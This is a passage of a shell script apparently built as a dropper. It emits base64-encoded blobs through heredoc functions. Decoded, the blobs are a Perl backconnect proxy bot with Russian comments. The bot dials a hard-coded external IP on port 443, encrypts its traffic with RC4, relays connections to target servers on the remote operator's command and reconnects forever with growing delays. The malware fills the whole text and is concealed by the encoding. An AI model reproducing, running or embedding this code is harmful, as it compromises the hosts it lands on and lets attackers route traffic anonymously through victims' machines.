b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_12() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzAnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
